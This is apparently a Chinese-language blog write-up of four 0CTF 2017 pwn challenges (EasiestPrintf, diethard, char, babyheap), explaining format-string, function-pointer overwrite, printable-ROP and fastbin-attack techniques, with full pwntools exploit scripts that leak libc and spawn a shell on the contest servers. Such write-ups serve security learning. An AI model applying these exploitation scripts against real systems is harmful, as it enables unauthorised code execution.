0ctf2017賽后總結(jié)

這個周末,連續(xù)兩天的比賽讓人吃不消,今天早上也是困的不行。因為是國際賽,題目質(zhì)量感覺挺高(可能是因為我太菜了),這里做一個總結(jié)。這次總共做了四道pwn題,都是比較經(jīng)典的漏洞利用。

EasiestPrintf

能夠利用一次的字符串格式化漏洞,但是程序隨機抬高棧頂,導致沒有辦法利用printf修改函數(shù)返回地址。加上程序執(zhí)行printf后馬上執(zhí)行了exit(0)函數(shù),所以必須在執(zhí)行完printf函數(shù)后就能夠控制eip

void __noreturn leave()
{
  signed int i; // [sp+8h] [bp-B0h]@1
  char s[160]; // [sp+Ch] [bp-ACh]@1
  int v2; // [sp+ACh] [bp-Ch]@1

  v2 = *MK_FP(__GS__, 20);
  memset(s, 0, 0xA0u);
  puts("Good Bye");
  for ( i = 0; i <= 158; ++i )
  {
    if ( read(0, &s[i], 1u) != 1 )
      exit(-1);
    if ( s[i] == '\n' )
      break;
  }
  printf(s);
  exit(0);
}

但是,程序提供了一次讀取任意地址數(shù)據(jù)的機會,這里我選擇泄露libc的地址。printf函數(shù)在輸出的內(nèi)容較多的時候,會調(diào)用malloc分配緩沖區(qū),輸出結(jié)束后會調(diào)用free釋放申請的內(nèi)存。這里我的策略是先把_free_hook修改為leave函數(shù)的入口地址,同時往指定內(nèi)存寫入一個"sh\x00"字符串,第二次觸發(fā)漏洞時修改__malloc_hook為system地址,輸出的字符數(shù)量為保存"sh\x00"字符串的地址,那么在觸發(fā)malloc操作時就可以getshell了。下面是完整的利用代碼

from pwn import *
local = 0
debug = 0

if local: 
    p = process('./easyprintf')
    libc = ELF('/lib32/libc-2.24.so')
else:
    p = remote('202.120.7.210', 12321)
    libc = ELF('libc.so.6')

if local and debug: gdb.attach(p, open('debug'))
p.recvuntil('you wanna read:')

exit_got = 0x08049FCC
read_got = 0x8049fc4
p.sendline(str(read_got))

print p.recvline()
read_addr = int(p.recvline(), 16)
print 'read_addr is', hex(read_addr)
base_addr = read_addr - libc.symbols['read']
print 'libc_base addr is', hex(base_addr)
free_hook_addr = base_addr + libc.symbols['__free_hook']
print 'free_hook addr is', hex(free_hook_addr)

leave_fun = 0x08048771
ret = 0x08048770


p.recvuntil('Good Bye')

def generate_format(addr_value):
    payload = ''
    print_count = 0
    j = 0
    addr_part = ''
    for addr, value in addr_value:
        for i in range(4):
            one_byte = (value >> (8*i)) & 0xff
            #print one_byte
            payload += '%{0}c%{1}$hhn'.format((one_byte - print_count) % 0x100, 32 + i + j)
            print_count += (one_byte - print_count) % 0x100
            #print (one_byte - print_count) % 0x100
            addr_part += p32(addr + i)
        j += 4

    payload = payload.ljust(100, 'a')
    payload += addr_part
    return payload

def generate_format_special(addr, value):
        # 處理__malloc_hook地址中的換行符
    payload = ''
    addr_part = ''
    print_count = 0

    one_byte = value & 0xff
    payload += '%{0}c%{1}$hhn'.format((one_byte - print_count) % 0x100, 32)
    print_count += (one_byte - print_count) % 0x100
    addr_part += p32(addr)

    one_byte = (value >> 8) & 0xffff
    payload += '%{0}c%{1}$hn'.format((one_byte - print_count) % 0x10000, 33)
    print_count += (one_byte - print_count) % 0x10000
    addr_part += p32(addr + 1)

    one_byte = (value >> 24) & 0xff
    payload += '%{0}c%{1}$hhn'.format((one_byte - print_count) % 0x100, 34)
    print_count += (one_byte - print_count) % 0x100
    addr_part += p32(addr+3)

    payload = payload.ljust(100, 'a')
    payload += addr_part
    return payload

bss_addr = 0x804a0b0
payload = generate_format([(free_hook_addr, leave_fun), (bss_addr, u32('sh\x00\x00'))])
payload += '%1000000cEND'
assert len(payload) <= 158
print payload
p.sendline(payload)
#p.recvuntil('Good Bye')

malloc_hook_addr = base_addr + libc.symbols['__malloc_hook']
print 'malloc_hook_addr is', hex(malloc_hook_addr)
system_addr = base_addr + libc.symbols['system']
print 'system_addr is', hex(system_addr)

if local:
    payload = generate_format([(malloc_hook_addr, system_addr)])
else:
    payload = generate_format_special(malloc_hook_addr, system_addr)

payload += '%{0}c'.format(bss_addr - 0x20)
p.sendline(payload)


p.interactive()

diethard

這道題并沒有找到漏洞的原因,做的時候隨手試了一下,發(fā)現(xiàn)可以覆蓋函數(shù)指針,于是就有了下面的代碼

from pwn import *

debug = 1
slog = 0
local = 0

if local:
    p=process('./diethard')
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.24.so')
else:
    p = remote('202.120.7.194', 6666)   
    libc = ELF('libc.so')   

if slog: context.log_level = True

def add(length,message = 'a'):
    print p.recvuntil('Exit')
    p.sendline('1')
    p.recvuntil('Length:')
    p.sendline(str(length))
    p.recvuntil('Message:')
    p.sendline(message)

def delete(index):
    p.recvuntil('Exit')
    p.sendline('2')
    p.recvuntil('Delete?')
    p.sendline(str(index))

def exit():
    p.recvuntil('Exit')
    p.sendline('3')

binf = ELF('diethard')

add(100)
add(100)
add(100)
add(1000, 'a')
add(1000, 'b')
delete(0)
add(2046, 'e'*16 + p64(binf.got['puts']) + p64(binf.plt['puts']))
if debug and local: gdb.attach(pidof(p)[-1],open('debug'))

p.recvuntil('Exit')
p.sendline('2')
p.recvuntil('3. ')
puts_addr = u64(p.recv(6).ljust(8, '\x00'))
print 'puts addr is', hex(puts_addr)
base_addr = puts_addr - libc.symbols['puts']
print 'libc base_addr is', hex(base_addr)

system_addr = base_addr + libc.symbols['system'] 
print 'system addr is', hex(system_addr)
bin_sh_addr = base_addr + next(libc.search('/bin/sh'))
print '/bin/sh addr is', hex(bin_sh_addr)
p.recvuntil('Delete?')
p.sendline(str(0))

add(2046, 'e'*16 + p64(bin_sh_addr) + p64(system_addr))
p.recvuntil('Exit')
p.sendline('2')
p.interactive()

char

這道題一度想要放棄,但是看到那么多的隊伍都出了,最終還是堅持做完了。
程序在初始化階段把libc.so映射到了0x5555E000代碼段中,權(quán)限為r_x,接著用scanf讀入一個字符串,并限制字符范圍在1E到7F之間,后面用strcpy觸發(fā)棧溢出。那么很明顯,本題就是用希望我們用可見字符來創(chuàng)建rop鏈,但是對輸入的過濾導致很多gadget都不能使用。一開始想到了用gets和read函數(shù)來讀入字符串,但是函數(shù)執(zhí)行到一半就奔潰了,調(diào)試之后我認為程序當中只是對libc做了一個映射,但并沒有初始化相關(guān)環(huán)境變量(比如stdout,stdin),所以導致函數(shù)沒有辦法正常執(zhí)行。沒有辦法,只能控制寄存器去調(diào)int 80了。但是很多重要的gadget都沒有辦法直接使用,因此必須先尋找一個跳板

0x0001706b : pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0006812c : add esi, ebx ; ret
0x00119a49 : jmp esi

這三個gadget的組合可以極大的拓展可調(diào)用gadget的范圍,剩下的就是尋找合適的gadget去控制寄存器了

from pwn import *
local = 0

if local:
    p = process('./char')
else:
    p = remote('202.120.7.214', 23222)
#gdb.attach(p, open('debug'))
p.recvuntil('GO')

jmp_esi = p32(0x55677a49)
add_esi_ebx = p32(0x555c612c)
pop_ebx_esi_edi_ebp = p32(0x5557506c)


def pop_eax_ebx_esi_edi_ebp(eax = 0x61616161, ebx = 0x61616161, esi = 0x61616161, edi = 0x61616161, ebp = 0x61616161):
     return p32(0x5557506b) + p32(eax) + p32(ebx) + p32(esi) + p32(edi) + p32(ebp)

def pop_ebx_esi_edi_ebp(ebx = 0x61616161, esi = 0x61616161, edi = 0x61616161, ebp = 0x61616161):
     return p32(0x5557506c) + p32(ebx) + p32(esi) + p32(edi) + p32(ebp)

# call read
payload = 'a'*32 + pop_ebx_esi_edi_ebp(ebx = 0x21212121, esi = 0x344a5f57) + add_esi_ebx + jmp_esi
payload += p32(0x55643028) + p32(0x55643028)
payload += pop_ebx_esi_edi_ebp(ebx = 0x34425a7c, esi = 0x2121717b) + add_esi_ebx + p32(0x55643028) + jmp_esi
payload += p32(0x5566797b) + jmp_esi

assert len(payload) < 1500
payload = payload.ljust(1500, 'A') 
p.sendline(payload)

# write new ropgadget
p.sendline('a'*96 + p32(0x5565a1f1) + p32(0) + p32(0) + p32(0x556bb7ec) + p32(0x55650781) + p32(0xb) + p32(0x55667177))
p.interactive()

babyheap

十分明顯的堆溢出,但程序開啟了PIE,從堆上沒有辦法泄露代碼段地址信息,但可以泄露堆地址和libc地址,然后再利用fastbin attack去修改__free_hook。因為程序使用的是calloc分配內(nèi)存,所以通過直接分配新內(nèi)存去泄露地址是不可行的。這里可以先分配一塊比較大的內(nèi)存,然后通過fastbin attack去在這一塊內(nèi)存中間分配一塊小內(nèi)存,這樣就可以通過輸出大塊內(nèi)存內(nèi)容的方式泄露地址信息了。泄露過程如下

allocate(200)   #0
fill(0, 0x40, 'a'*16 + p64(0) + p64(0x21) + p64(0)*3 + p64(0x91) + p64(0)*13 + p64(0x21))
allocate(10)   #0,1
allocate(10)   #0,1,2
allocate(10)   #0,1,2,3
allocate(10)   #0,1,2,3,4
allocate(10)   #0,1,2,3,4,5
delete(1)      #0,2,3,4,5
delete(3)      #0,2,4,5
fill(2, 0x21, 'a'*0x10 + p64(0) + p64(0x21) + '\x20')
allocate(10)   #0,1,2,4,5
allocate(10)   #0,1,2,3,4,5
delete(1)      #0,2,3,4,5
delete(3)      #0,2,4,5
fill(0, 0x20, 'a'*0x20)
dump(0)
p.recvuntil('a'*0x20)
heap_addr = u64(p.recv(8))
print 'heap addr is', hex(heap_addr)

fill(0, 0x20, 'a'*0x10 + p64(0) + p64(0x21))
allocate(30)   #0,1,2,4,5

allocate(0x100)
delete(3)

fill(0, 0x20, 'a'*0x20)
dump(0)
p.recvuntil('a'*0x20)
main_arena_addr = u64(p.recv(8))
print 'main_arena addr is', hex(main_arena_addr)

完成了第一步,接下來就是想辦法去修改_free_hook變量了。實際在測試的時候發(fā)現(xiàn),_free_hook前面相鄰的區(qū)域全部是0,并沒有辦法通過fastbin attack在其附近區(qū)域分配內(nèi)存(fastbin attack分配條件:具備對應大小的堆頭信息,舉個例子,如果想要分配0x70大小的內(nèi)存,那么在指定地址上,應該出現(xiàn)0x81或0x80)。做到這里卡了很久,于是去買了一盒炒飯(做了一天,肚子快要餓爆了),吃完了飯,抱著隨便看看心態(tài)繼續(xù)看題,突然靈光乍現(xiàn)(看來還是應該按時吃飯),為什么不去自己構(gòu)造一個堆頭呢?那么問題來了,怎么在堆上寫入0x80呢,答案還是fastbin attack


偽造next fastbin地址為0x30

觸發(fā)后效果

那么接下來我們就可以fastbin attack得到指向main_arena的指針了,然后這個指針去修改top指針,這里我們將其指向__free_hook前較近的一段不為0的區(qū)域就可以了。再次調(diào)用malloc就可以獲得top指針指向的內(nèi)存,到這里,本題的坑基本就完了,下面是完整的利用代碼:

from pwn import *

slog = 0
local = 1
debug = 0
if slog: context.log_level = True

if local:
    p = process('./babyheap')
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.24.so')
else:
    p = remote('202.120.7.218', 2017)
def allocate(size):
    p.recvuntil('Command:')
    p.sendline('1')
    p.recvuntil('Size')
    p.sendline(str(size))   

def fill(index, size, content):
    p.recvuntil('Command:')
    p.sendline('2')
    p.recvuntil('Index')
    p.sendline(str(index))  
    p.recvuntil('Size')
    p.sendline(str(size))   
    p.recvuntil('Content')
    p.sendline(content.ljust(size, 'a'))    
    

def delete(index):
    p.recvuntil('Command:')
    p.sendline('3')
    p.recvuntil('Index')
    p.sendline(str(index))  

def dump(index):
    p.recvuntil('Command:')
    p.sendline('4')
    p.recvuntil('Index')
    p.sendline(str(index))  


allocate(200)   #0
fill(0, 0x40, 'a'*16 + p64(0) + p64(0x21) + p64(0)*3 + p64(0x91) + p64(0)*13 + p64(0x21))
allocate(10)   #0,1
allocate(10)   #0,1,2
allocate(10)   #0,1,2,3
allocate(10)   #0,1,2,3,4
allocate(10)   #0,1,2,3,4,5
delete(1)      #0,2,3,4,5
delete(3)      #0,2,4,5
fill(2, 0x21, 'a'*0x10 + p64(0) + p64(0x21) + '\x20')
allocate(10)   #0,1,2,4,5
allocate(10)   #0,1,2,3,4,5
delete(1)      #0,2,3,4,5
delete(3)      #0,2,4,5
fill(0, 0x20, 'a'*0x20)
dump(0)
p.recvuntil('a'*0x20)
heap_addr = u64(p.recv(8))
print 'heap addr is', hex(heap_addr)

fill(0, 0x20, 'a'*0x10 + p64(0) + p64(0x21))
allocate(30)   #0,1,2,4,5

allocate(0x100)
delete(3)

fill(0, 0x20, 'a'*0x20)
dump(0)
p.recvuntil('a'*0x20)
main_arena_addr = u64(p.recv(8))
print 'main_arena addr is', hex(main_arena_addr)

fill(0, 0x20, 'a'*0x10 + p64(0) + p64(0x21))

allocate(0x70)
delete(3)

free_hook = main_arena_addr + 0x7f629d74c788 - 0x7f629d74ab58 
base_addr = free_hook - 0x39a788
fake_fastbin = base_addr + 0x39a7d0 - 8
system_addr = libc.symbols['system'] + base_addr
print 'free hook is', hex(free_hook)
print 'base addr is', hex(base_addr)
print 'fake_fastbin addr is', hex(fake_fastbin)
print 'system aadr is', hex(system_addr)

#fill(1, 0x38, 'a' * 0x20 + p64(0) + p64(0x81) + p64(fake_fastbin))
fill(1, 0x38, 'a' * 0x20 + p64(0) + p64(0x81) + p64(0x30))

allocate(0x70)

delete(1)
fill(5, 0x28, 'a'*24 + p64(0x31) + p64(main_arena_addr - 0x28))
allocate(0x20)
if debug and local: gdb.attach(p, open('debug'))
allocate(0x20)

payload = p64(0) * 3 +p64(base_addr + 0x399c30)
fill(6, len(payload), payload)
allocate(0x50)
payload = '\x00'*0xb48 + p64(system_addr) 
fill(7, len(payload), payload)
payload = '/bin/sh\x00'
fill(7, len(payload), payload)
delete(7)
p.interactive()
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 228,606評論 6 533
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 98,582評論 3 418
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 176,540評論 0 376
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經(jīng)常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 63,028評論 1 314
  • 正文 為了忘掉前任,我火速辦了婚禮,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當我...
    茶點故事閱讀 71,801評論 6 410
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 55,223評論 1 324
  • 那天,我揣著相機與錄音,去河邊找鬼。 笑死,一個胖子當著我的面吹牛,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,294評論 3 442
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 42,442評論 0 289
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 48,976評論 1 335
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 40,800評論 3 354
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 42,996評論 1 369
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,543評論 5 360
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 44,233評論 3 347
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 34,662評論 0 26
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 35,926評論 1 286
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 51,702評論 3 392
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 47,991評論 2 374

推薦閱讀更多精彩內(nèi)容